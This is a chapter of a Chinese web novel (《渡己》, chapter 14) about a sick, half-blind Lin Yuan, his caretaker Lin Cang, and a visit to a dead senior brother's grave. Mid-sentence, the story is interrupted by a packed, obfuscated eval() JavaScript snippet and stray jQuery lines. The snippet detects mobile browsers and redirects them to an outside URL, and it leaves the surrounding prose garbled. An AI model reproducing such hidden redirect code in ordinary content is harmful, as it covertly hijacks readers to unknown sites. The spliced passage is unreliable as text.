14. 头七

作品:《渡己

    “眼睛……”


    “能复明吗……”


    “不知原因……”


    昏昏沉沉中,林渊好像听到了两个人对话的声音。


    “那他现在……”


    “高热,夜咳,许是受了风寒,加上烟尘刺激,才……”


    一只修长的手,轻轻覆在了他的额头上。


    林渊打了一个激灵。


    那只手立刻收了回去。


    过了片刻,同样一只手,却比他的体温还要烫上一些,细致地为他掖好了被角。


    “药来了。”铜铃叮铃的声音响起。


    那只为他掖被角的手一顿,扶住他的脊背,把他半搂半抱着坐了起来。


    脑袋很沉,脖子支撑不住,于是那人又恰到好处地把肩膀送了过来。


    林渊靠着那人的肩头,忽然勾了一下唇角。


    没想到有生之年,竟能被另一个自己这般温柔以待。


    “林沧。”林渊闭着眼睛,沙哑地唤道。


    那人微微一顿。


    “我在。”


    “药没用的。”林渊淡淡地笑道。


    “先吃再说,别想那么多。”林沧耐心地劝说道。


    “苦。”林渊撇嘴。


    “良药苦口。”林沧的声音终于带了一丝恼意,盛着药汤的勺子抵在了林渊的唇边。


    “活着已经够苦了。”林渊轻飘飘地叹了口气,在林沧骤然僵硬的动作下,微微一笑,“开玩笑的,活着多好。”


    林渊说完,低头就着林沧抬起的手,喝下了那一勺药。


    “所以啊,林沧,你这么健康,一定不要愧对于你的身体。”迷蒙之中,思维不受控制地发散,林渊舔了舔唇角苦涩的药汤,却弯起了眼角,仿佛喝的是什么琼浆玉露,“记住了,一定要……好好待自己。”


    “……你在说什么胡话。”半晌之后,林沧难得带上了一丝狼狈的声音响起。


    “你的每一寸身体,都拼了命想让你活下去,不要对不起自己的身体。”林渊声音发飘,沙哑的声音很低,呢喃仿似梦呓。


    至少在那一刻到来之前,好好待自己。


    这个道理,直到他亲手取出心脏,看着它仍在不甘地跳动,才忽然明白的。


    不想,林沧步他的后尘。


    林沧控制着喂药的力度,然而越努力,手指却越稳不住勺子,险些洒出几滴。


    这个人到底在说什么,他怎么知道,不,不可能,他不可能知道自己要走的那条路。


    他的确不爱惜身体,有什么好爱惜的,反正都要赴死,反正迟早都要赴死……


    林沧忽然感到了巨大的愧疚感,不知何起。


    他甚至想抓住林渊的肩膀好好问一问,他刚刚那些话到底是什么意思。


    如果结局注定是悲剧,那过程有什么意义,还谈什么爱自己。


    林渊却已经睡着了。


    高热的红晕铺满他的脸庞,眉毛无意识地拧着,眼底乌青,嘴唇干裂,洇出了点点血丝。


    林沧的理智骤然回笼。


    跟病人较什么真。


    “我照顾他吧,等他醒了,喂他喝药。”


    林沧抬头,看向床边站着的和蔼老人。


    “放心,我有经验。”老人温和地笑笑,“虽然我没有灵力,没法像你那样加热手掌,但也会提前焐热的,你不必担心。”


    焐热手掌,明明是一个微不足道的小事,却莫名让林沧放下了心。


    “多谢钟神医。”林沧缓缓把林渊放回了床上,为他整理好被子,站起身来。


    “没事,你放心去吧。”钟怀仁冲林沧点了点头。


    掌心的热度逐渐散去,林沧望向窗外,晨光熹微。


    他守了林渊一夜。


    此刻已经破晓。


    今天,是师兄的头七。


    -


    林渊醒来的时候,已经是下午了。


    午后的暖阳洒在脸上,林渊眯着眼睛,转动沉重的脑袋,开始打量四周。


    视野恢复了许多,虽然仍然浮动着黑雾,但至少能看清大致的轮廓。


    好像是一间客栈。


    空气中弥漫着药香,红木桌子上放着半碗药汤,桌边趴着一个少年,腕上系着红绳铜铃。


    是钟怀仁的学徒。


    医馆已被烧毁,所以钟怀仁和他的两个学徒,暂时住在客栈。


    林渊的记忆逐渐复苏,昨天在酒老板的家中,他突然昏了过去。


    应是林沧把他背回竹白镇,找到钟怀仁,迷迷糊糊间,林沧还喂他喝过一次药。


    喝药的时候,他神志不清,好像说了什么,惹得林沧有些不悦。


    可惜现在已经记不起来了。


    林渊的推断大致不差,但是错了一点。


    林沧带他回来时,不是用背的。


    是抱。


    酒老板的酒屋和竹白镇距离很远,林沧却只用了不到半个夜晚。


    夜深人静,青年赶到竹白镇,找到钟怀仁所在的客栈,猛地推开了钟怀仁的房门。


    “救他。”林沧哑声说道,“什么报酬,都可以。”


    青年呼吸急促,形容狼狈。夜风把他的发丝吹得凌乱,墨黑的发丝沾在汗湿的侧脸,可他怀中的那人却被强大的灵力包围,直到钟怀仁披上外袍,答应给林渊把脉,林沧才收回了灵力。


    “他是你的兄长?”钟怀仁忍不住多问了一嘴。


    林沧闻言微顿,黑眸中涌起一片复杂的柔软。


    “他是……”


    他是累赘。


    林渊躺在床上,忽然想道。


    不能继续躺下去了,再这样下去,还怎么跟林沧去魔界。


    脑袋沉得像灌了铅,林渊撑着床沿,勉强坐了起来。


    他本想趁学徒睡着,溜出去找到林沧,可惜床板不配合,随着他的动作,发出了一道刺耳的“吱嘎”声。


    学徒猛地惊起,抬起了脑袋。


    “你醒了?”学徒又惊又喜,端起药碗,“你等一下,我去给你热药!”


    林渊闻言,眼珠一转,点了点头,笑眯眯地说了声“多谢”。


    “师父吃饭去了,快躺下,我马上叫师父过来给你把脉!”学徒刚迈出房门,忽然回头,大声叮嘱道。


    “好。”林渊准备穿鞋的脚一顿,不着痕迹地收回脚,在学徒催促的眼神中,乖乖躺回了床上。


    学徒体贴地为他关紧了门。


    然而学徒前脚刚走,林渊立刻坐了起来。


    由于动作过大,头脑传来一阵眩晕。


    “怎么好像越来越严重了。”


    林渊嘟囔了一句,按了按疼痛欲裂的太阳穴,披上外衫,扶着墙壁,缓缓走到门边,把耳朵贴到了门上。


    一片静寂。


    很


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810385|175206||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好,看来已经走远了。


    林渊松了口气,推开房门,光明正大地离开了客栈。


    片刻之后,钟怀仁跟着热好药的学徒,急匆匆走进房间。


    看到空荡荡的床铺,两人同时呆住了。


    “刚刚,刚刚还在这里的啊……”学徒喃喃道。


    -


    林渊不知道钟怀仁心中产生了多大的负罪感,此刻的他,正缓慢地向霍君生的墓挪去。


    林沧应该在那边。


    林渊再次高估了自己的身体状况,如今的他,几乎走几步就要停下来休息一会。


    可他也不敢太过逞强,万一再陷入昏迷,林沧还不知道要怎么担心。


    于是林渊走走停停,过了许久,终于来到了霍君生的墓地。


    方方正正的墓碑,碑前摆着一个精致小巧的香炉,几根香烛端正地插在香炉之中,玲珑的香炉上雕着灵族的彩绘。


    也不知林沧从哪找来的灵界的香炉,连林渊都已经很久没见过灵界的东西了。


    香烛安静地燃烧着,光可鉴人的银盘中盛着霍君生爱吃的各色糕点。


    林沧却不在附近。


    林渊没有急着去找林沧,而是垂下眼帘,在半人高的碑前站定,深深作了一揖。


    “师兄,我来看你了。”


    林渊低声说道。


    “趁他不在,正好偷偷跟你说几句话。其实,我也是小沧子啊,师兄,你惊不惊讶。”


    “上次在茶楼,很抱歉,我隐瞒了身份。”


    “但那句话,是真的。师兄,我一直很想你。”


    “曾经的那个我应该已经跟你说了不少话吧,不过有些话,我知道他肯定不好意思说……”


    “那我索性替他说了吧,连带着我的那一份。”


    “师兄,你是林沧最好的朋友。你和师娘,都是林沧最重要的家人。”


    “师兄,不瞒你说,小沧子活不了几年啦,很快就会去找你们的。”


    “你的事情,我真的很抱歉……到时候,我绝对打不还手,骂不还口。”


    “但是我们一家人,你、我,还有师娘,我们再也不要分开了,好吗。”


    林渊说着说着忽然笑了,却又抬手抹了抹眼角。


    指尖沾上了一抹红色。


    眼前的黑雾也隐隐泛着暗红的色泽。


    林渊后知后觉地发现,不知何时开始,他的视野里血雾悄然降下,已然笼罩了暗淡的世界。


    林渊愣了一下,眨了眨眼睛,确认黑雾真的变红之后,忽然想到了什么,唇角上扬,竟显得有些愉悦。


    “师兄,说来惭愧,我是为了救赎自己才回来的。灵族失去心脏,本不该活下来,这一切,都因为我濒死时许的那个‘愿’。师兄,你说,如今我的身体每况愈下……是不是意味着,我就要成功了啊。”


    失明也好,昏迷也罢,他的身体好像的确越来越差了。没有道理地每况愈下,仿佛随时就要枯竭。


    但是,如果这能证明他的确在救赎林沧,他的“愿”正在逐步实现的话……


    那么,等林沧不再感到绝望,能够好好地活过这几年的时候,他就会立刻死掉吧。


    想通这件事后,林渊忽然弯起了眼睛。


    “太好了。”


    林渊轻轻摸了摸霍君生的墓碑。


    “看来这个愿望,也没有想象中那般难。”